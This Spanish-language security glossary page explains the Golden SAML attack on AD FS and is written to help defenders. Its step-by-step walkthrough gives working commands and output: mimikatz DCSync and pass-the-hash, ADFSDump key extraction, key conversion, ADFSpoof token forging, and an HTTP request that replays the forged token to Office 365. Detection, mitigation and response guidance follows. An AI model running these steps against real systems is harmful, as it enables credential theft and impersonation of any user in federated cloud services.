Ataque Golden SAML

Glosario de ciberseguridad Catálogo de ataques

Ataque Golden SAML

Golden SAML es similar en concepto a la técnica del Golden Ticket. La diferencia es que en lugar de comprometer el secreto de Active Directory que firma los tickets de Kerberos, el adversario compromete el secreto utilizado para firmar las aserciones SAML creadas por Active Directory Federation Services (AD FS), que se utiliza con frecuencia para extender la identidad de Active Directory a aplicaciones en la nube.

Para un ataque Golden SAML, un adversario primero debe comprometer la cuenta de servicio de AD FS en el servidor de AD FS. Una vez autenticado como la cuenta de servicio de AD FS, pueden utilizar herramientas como ADFSDump para extraer la información requerida:
• El certificado de firma de token y su clave privada
• La clave del Distributed Key Manager (DKM) de Active Directory
• La lista de servicios para los cuales el servidor de AD FS está configurado para ser un proveedor de identidad

Resumen de amenazas

Objetivo: AD FS y servicios asociados

Herramientas: AAD Internals, ADFSDump, shimit, ADFSpoof, mimikatz

Táctica ATT&CK®: Acceso a Credenciales

Técnica ATT&CK: Falsificación de Credenciales Web: Tokens SAML

Dificultad

Detección: Hard

Mitigación: Media

Respuesta: Hard

Tutorial de ataque: Cómo funciona el ataque Golden SAML

PASO 1: Comprometer el servicio AD FS

Un adversario puede utilizar cualquiera de varios métodos diferentes para comprometer el servicio AD FS. En general, cualquier medio para obtener acceso administrativo al servidor AD FS es suficiente. El ejemplo a continuación utiliza algunas técnicas: reconocimiento LDAP para descubrir AD FS, DCSync para exportar los hashes de la cuenta de servicio y luego Pass the Hash (PtH) para obtener una sesión en el servidor AD FS como la cuenta de servicio.

Código

      # LDAP reconnaissance for AD FS / AADC Items

## ADFS Uses a Host SPN on the service account for the ADFS Service Portal. If the portal is known (ADFS/STS/FS etc.) it can be discovered

Get-ADObject -filter { ServicePrincipalName -contains “*adfs*” -or ServicePrincipalName -contains “*STS*” -or ServicePrincipalName -contains “*FS*” }

## ADFS User/Service/computer Accounts

Get-ADObject -filter { samaccountname -like “*adfs*” -or description -like “*adfs*” -or description -like “*aadc*” }

# Found GMSA Account named adfssvc$

.\mimikatz.exe “lsadump::dcsync /user:adfssvc$”

# Execute PtH

.\mimikatz.exe “privilege::debug” “sekurlsa::pth /user:aadcsvc$ /domain:domain.local /ntlm:f0f13a15b218cb98d1ada6484e380fe6 /aes256:f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909 /aes128:569afe31a386f460e69e7915895837f8”

Salida

      # Command 1 #

DistinguishedNameNameObjectClass ObjectGUID

-------------------------------- ----------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9-8f80-9c9a37006c9b

CN=MSOL_81f4a7929078,CN=Users,DC=domain,DC=local MSOL_81f4a7929078 user38348edf-8a4a-400e-83b4-eb88a57b78a7

# Command 2 #

DistinguishedNameNameObjectClassObjectGUID

------------------------------------------

CN=ADFS,OU=Servers,DC=domain,DC=localADFScomputerfbf560c9-da5e-42b9…

CN=aadcsvc,CN=Managed Service Accounts,DC=domain,DC=local aadcsvc msDS-GroupManagedServiceAccount f1709f9d-e137-4185.

# Command 3 #

mimikatz(commandline) # lsadump::dcsync /user:domain\da

[DC] 'domain.local' will be the domain

[DC] 'DC.domain.local' will be the DC server

[DC] 'aadcsvc$ ' will be the user account

[rpc] Service: ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN: DA

--- Output truncated ---

Credentials:

Hash NTLM: f0f13a15b218cb98d1ada6484e380fe6

--- Output truncated ---

* Primary:Kerberos-Newer-Keys *

Default Salt : DOMAIN.LOCALDA

Default Iterations : 4096

Credentials

aes256_hmac(4096) : f66c03bf486b3b5c7c40d526af00d3b89bf2f120a24059a739005a1c17d1d909

aes128_hmac(4096) : 569afe31a386f460e69e7915895837f8

# Command 4 #

# New Window Opens for PTH #

PASO 2: Extraiga la información requerida

Habiéndose autenticado como la cuenta de servicio de AD FS, el adversario ahora debe acceder y exportar la información requerida para falsificar el token SAML.

En este ejemplo, utilizaremos la utilidad ADFSDump que se conecta localmente a la base de datos de AD FS para extraer el elemento EncryptedPFX de la configuración del servicio de firma de tokens, y también se conecta al Active Directory para exportar la clave DKM. Necesitará copiar la salida en archivos de texto de la siguiente manera:

DKMKey.txt contendrá la clave DKM.
TKSKey.txt contendrá la clave de firma de token.

Código

      ADFSDump.exe

Salida

      _______ ___________ ____

/| / __ \/ ____/ ___// __ \__ ______ ___ ____

/ /| | / / / / /_\__ \/ / / / / / / __ `__ \/ __ \

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / / / / / / /_/ /

/_/ |_/_____/_//____/_____/\__,_/_/ /_/ /_/ .___/

/_/

Created by @doughsec

## Extracting Private Key from Active Directory Store

[-] Domain is domain.local

[-] Private Key: 05-77-08-31-87-5E-A4-24-6E-C7-EE-48-64-6F-47-23-EB-D6-56-71-DD-3C-42-D0-DE-6B-58-13-16-DF-CB-57

## Reading Encrypted Signing Key from Database

[-] Encrypted Token Signing Key Begin

AAAAAQAAAAAEEN71Kh/hvD9Jk

--- output truncated---

DeMPt0Myf9vtUZow==

[-] Encrypted Token Signing Key End

## Reading The Issuer Identifier

[-] Issuer Identifier: http://sts.stealthbitslab.com/adfs/services/trust

[-] Detected AD FS 2019

[-] Uncharted territory! This might not work...

## Reading Relying Party Trust Information from Database

[-]

Microsoft Office 365 Identity Platform Worldwide

==================

Enabled: True

Sign-In Protocol: WsFed-SAML (SAML 1.1)

Sign-In Endpoint: https://login.microsoftonline.com/login.srf

Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256

SamlResponseSignatureType: 1;

Identifier: urn:federation:MicrosoftOnline

Access Policy:

Access Policy Parameter:

Issuance Rules: @RuleName = "Issue UPN"

c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"]

=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/claims/UPN"), query = "samAccountName={0};userPrincipalName;{1}", param = regexreplace(c.Value, "(?<domain>[^\\]+)\\(?<user>.+)", "${user}"), param = c.Value);

--- Output Truncated ---

PASO 3: Convertir la información recuperada

A continuación, el adversario necesita convertir la información en un formato que las herramientas puedan utilizar:

TKSKey.txt necesita ser decodificado en Base64.
DKMKey.txt necesita ser convertido a valores hexadecimales.

Para lograr esto, pueden utilizar herramientas como HexEdit o ejecutar el siguiente código en modo terminal en una máquina Linux:

      # Convert TKSKey.txt to TKSKey.bin

cat TKSKey.txt | base64 -d > TKSKey.bin

# Convert DKMKey.txt to DKMKey.bin

# tr -d "-" -> Deletes all -'s

# xxd -r -p -> Read Hexdump

cat DKMkey.txt | tr -d "-" | xxd -r -p > DKMkey.bin

PASO 4: Forjar el token Golden SAML

El atacante ahora tiene todos los detalles necesarios para falsificar el token SAML. Este ejemplo utiliza la herramienta ADFSpoof para crear un token Golden SAML para el usuario ADA_Fox@stealthbitslab.com.

Código

      Python3.6 ADFSSpoof.py -b TKSKey.bin PKey.bin --server stealthbitslab.com o365 --upn ADA_FOX@stealthbitslab.com --objectguid {f37580cd-XXXX-XXXX-XXXX-6231f903a8c1}

Salida

      _______ _______________

/| / __ \/ ____/ ___/____ ____ ____ / __/

/ /| | / / / / /_\__ \/ __ \/ __ \/ __ \/ /_

/ ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/

/_/ |_/_____/_//____/ .___/\____/\____/_/

/_/

A tool to for AD FS security tokens

Created by @doughsec

%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/

--- output truncated ---

t%3AKeyType%3E%3C/t%3ARequestSecurityTokenResponse%3E

PASO 5: Utilice el token Golden SAML para acceder a Office 365

El adversario ahora simplemente necesita usar el token SAML falsificado para iniciar sesión en Office 365 como ADA_FOX. Esto se puede hacer utilizando herramientas como el Burp Suite repetidor para retransmitir solicitudes web: Simplemente use la salida del Paso 4 y la información de la solicitud web a continuación para retransmitir la solicitud. y luego use la función “solicitar en navegador” para realizar esta solicitud en el navegador. Una vez completado, al atacante se le presentará la página de Continuar con la página de inicio de sesión.

Código

      POST /login.srf HTTP/1.1

Host: login.microsoftonline.com

Connection: close

Content-Length: 7962

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

DNT: 1

wa=wsignin1.0&wresult={STEP 4 OUTPUT}

Detectar, Mitigar y Responder

Detectar

Dificultad: Difícil

Es posible detectar indicios de explotación de Golden SAML en dos puntos:

Cuando el adversario compromete los secretos de firma (Paso 2)
Cuando el adversario utiliza un token falsificado (Paso 5)

Detección durante el compromiso de Secretos

Como se detalla arriba, antes de que un atacante pueda falsificar un token SAML, debe comprometer el servicio AD FS y exportar el certificado de firma de AD FS y su clave privada. Los defensores deben prestar atención a inicios de sesión inusuales en el servidor AD FS, así como a fuentes inusuales de autenticación de la propia cuenta de servicio AD FS. Además, se deben monitorear los siguientes eventos para exportaciones de certificados en el Servidor AD FS:

70	Registro de eventos	Sistema	Información
70	Microsoft-Windows-CAPI2/Operational	servidor AD FS	Intento de exportación de clave privada (mimikatz)
1007	Microsoft-Windows-CertificateServicesClient-Lifecycle-System/Operational	servidor AD FS	Exportaciones generales de certificados; no hay información sobre si se exportó la clave privada
4662	Seguridad	Controladores de dominio	Reconocimiento de clave DKM; Cuando ObjectName es similar a CN=CryptoPolicy,CN=ADFS,CN=Microsoft,CN=Program Data,DC=YourDomain,DC=local y las propiedades contienen thumbnailPhoto {8d3bca50-1d7e-11d0-a081-00aa006c33ed}
18	Microsoft-Windows-Sysmon/Operational	servidor AD FS	Conexión de tubería con nombre a la base de datos WID no proveniente del ejecutable ADFS. Requiere que Sysmon esté instalado y configurado correctamente.

Detección durante el uso de un token falsificado

Para detectar el uso de un token SAML potencialmente falsificado, se requiere un registro central de todos los eventos de autenticación de AD FS y los proveedores de servicios conectados. Estos datos pueden correlacionarse para determinar si cada autenticación a una aplicación fue realmente creada por el servicio AD FS. Cuando se utiliza un token SAML falsificado, no habrá ningún evento en el servidor AD FS que se pueda vincular con los registros de inicio de sesión del proveedor de servicios.

Los eventos de AD FS se correlacionan utilizando el ID de Correlación (también conocido como ID de Actividad) entre eventos con los proveedores de servicios. Aquí hay un ejemplo de un inicio de sesión legítimo donde el proveedor de servicios tiene un ID de Correlación de 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce y hay un evento correspondiente para AD FS que tiene el mismo ID de Correlación.

Inicio de sesión del proveedor de servicios

Auditoría de tokens de aplicaciones de AD FS

El servicio de Federación emitió un token válido. Consulte el XML para obtener más detalles.

      Activity ID: 5b0f3b0b-e875-4307-ba98-0a2f0d5aa2ce

Additional Data

XML: <?xml version="1.0" encoding="utf-16"?>

<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">

<AuditType>AppToken</AuditType>

<AuditResult>Success</AuditResult>

<FailureType>None</FailureType>

<ErrorCode>N/A</ErrorCode>

<ContextComponents>

<Component xsi:type="ResourceAuditComponent">

<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>

<ClaimsProvider>AD AUTHORITY</ClaimsProvider>

<UserId>DOMAIN\ADA_FOX</UserId>

</Component>

<Component xsi:type="AuthNAuditComponent">

<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</PrimaryAuth>

<DeviceAuth>false</DeviceAuth>

<DeviceId>N/A</DeviceId>

<MfaPerformed>false</MfaPerformed>

<MfaMethod>N/A</MfaMethod>

<TokenBindingProvidedId>false</TokenBindingProvidedId>

<TokenBindingReferredId>false</TokenBindingReferredId>

<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>

</Component>

<Component xsi:type="ProtocolAuditComponent">

<OAuthClientId>N/A</OAuthClientId>

<OAuthGrant>N/A</OAuthGrant>

</Component>

<Component xsi:type="RequestAuditComponent">

<Server>http://sts.stealthbitslab.com/adfs/services/trust</Server>

<AuthProtocol>WSFederation</AuthProtocol>

<NetworkLocation>Intranet</NetworkLocation>

<IpAddress>10.0.0.55</IpAddress>

<ForwardedIpAddress />

<ProxyIpAddress>N/A</ProxyIpAddress>

<NetworkIpAddress>N/A</NetworkIpAddress>

<ProxyServer>N/A</ProxyServer>

<UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36</UserAgentString>

<Endpoint>/adfs/ls/</Endpoint>

</Component>

</ContextComponents>

</AuditBase>

Mitigar

Dificultad: Media

Proteger los servidores AD FS y las cuentas de servicio es de suma importancia cuando se busca mitigar los ataques Golden SAML. Dos mejores prácticas son particularmente útiles:

No permita que los usuarios tengan privilegios administrativos a través de límites.
Trate a los servidores AD FS con el mismo nivel de seguridad que a los controladores de dominio

Responder

Dificultad: Difícil

Si se detecta un token Golden SAML, se debe asumir un compromiso total de la identidad. Como mínimo, se requerirán varios pasos manuales, como rotar el certificado de firma del token e investigar el alcance del compromiso.

Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta.

Compartir en

Ver ataques de ciberseguridad relacionados

Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa

Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa

Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa

Ataque Hafnium - Cómo funciona y estrategias de defensa

Ataques DCSync explicados: Amenaza a la seguridad de Active Directory

Ataque de Pass the Hash

Entendiendo los ataques de Golden Ticket

Ataque de Cuentas de Servicio Administradas por Grupo

Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa

ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención

Ataque de extracción de contraseñas de NTDS.dit

Ataque de Kerberoasting – Cómo funciona y estrategias de defensa

Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa

Ataque de Password Spraying

Ataque de extracción de contraseñas en texto plano

Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación

Ataques de ransomware a Active Directory

Desbloqueando Active Directory con el ataque Skeleton Key

Movimiento lateral: Qué es, cómo funciona y prevenciones

Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos

¿Por qué es PowerShell tan popular entre los atacantes?

4 ataques a cuentas de servicio y cómo protegerse contra ellos

Cómo prevenir que los ataques de malware afecten a su negocio

¿Qué es Credential Stuffing?

Comprometiendo SQL Server con PowerUpSQL

¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?

Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)

Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos

Una mirada exhaustiva a los ataques de contraseñas y cómo detenerlos

Reconocimiento LDAP

Eludir MFA con el ataque Pass-the-Cookie

Ataque de Silver Ticket